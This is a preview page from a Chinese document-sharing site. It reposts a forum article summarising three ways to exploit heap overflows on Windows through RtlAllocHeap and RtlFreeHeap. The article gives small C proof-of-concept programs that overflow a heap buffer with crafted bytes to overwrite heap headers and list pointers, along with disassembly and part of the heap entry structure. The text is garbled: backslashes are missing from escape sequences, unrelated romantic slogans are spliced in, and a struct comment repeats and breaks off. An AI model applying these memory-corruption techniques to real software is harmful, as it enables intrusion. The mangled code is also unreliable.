欢迎来到天天文库
浏览记录
ID:35303903
大小:46.00 KB
页数:8页
时间:2019-03-23
《总结windows下堆溢出的三种利用方式》由会员上传分享,免费在线阅读,更多相关内容在应用文档-天天文库。
1、总结windows下堆溢出的三种利用方式.txt你站在那不要动!等我飞奔过去! 雨停了天晴了女人你慢慢扫屋我为你去扫天下了 你是我的听说现在结婚很便宜,民政局9块钱搞定,我请你吧你个笨蛋啊遇到这种事要站在我后面! 跟我走总有一天你的名字会出现在我家的户口本上。 原文由Leven发在网络编程版:https://www.xfocus.net/bbs/index.php?act=SE&f=3&t=34455&p=122380总结windows下堆溢出的三种利用方式1.利用RtlAllocHeap这是ISNO提到的,看这个例子main(intargc,char*argv[]){char*
2、buf1,*buf2;chars[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x01x08x00x11x11x11x11x21x21x21x21";buf1=(char*)malloc(32);/*分配两块内存*/memcpy(buf1,s,32+16);/*这里多复制16个字节*/buf2=(char*)malloc(16);free(buf1);free(buf2);return0;}在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样buf1的管理结构(8b
3、ytes)
4、buf1真正可操作空间(32bytes)
5、下一个空闲堆的管理结构(8bytes)
6、两个双链表指针(8bytes)在给buf2完成malloc之后,buf1指向的内存分配情况是这样buf1的管理结构(8bytes)
7、buf1真正可操作空间(32bytes)
8、buf2的管理结构(8bytes)
9、buf2真正可操作空间(16bytes)
10、两个双链表指针(8bytes)现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了下一个空闲堆的管理结构(8bytes)
11、两个双链表指针(8bytes)共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常。原
12、因看RtlAllocHeap的这段代码001B:77FCC4538901MOV[ECX],EAX001B:77FCC455894804MOV[EAX+04],ECX此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX指向前一个指针(0x11111111)。类似于formatstring溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会2.利用RtlFreeHeap的方式一这是ilsy提到的,看例子main(intargc,char*argv[]){char*buf1,*buf2;chars[]="aaaa
13、aaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x09";buf1=(char*)malloc(32);/*分配两块内存*/buf2=(char*)malloc(16);memcpy(buf1,s,32+6);/*这里多复制6个字节*/free(buf1);free(buf2);return0;}由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的先看看8字节管理结构的定义(从windows源码中找到)typedefstruct_HEAP_ENT
14、RY{////Thisfieldgivesthesizeofthecurrentblockinallocation//granularityunits.(i.e.Size<15、ieldgivesthesizeofthepreviousblockinallocation//granularityunits.(i.e.PreviousSize<
15、ieldgivesthesizeofthepreviousblockinallocation//granularityunits.(i.e.PreviousSize<
此文档下载收益归作者所有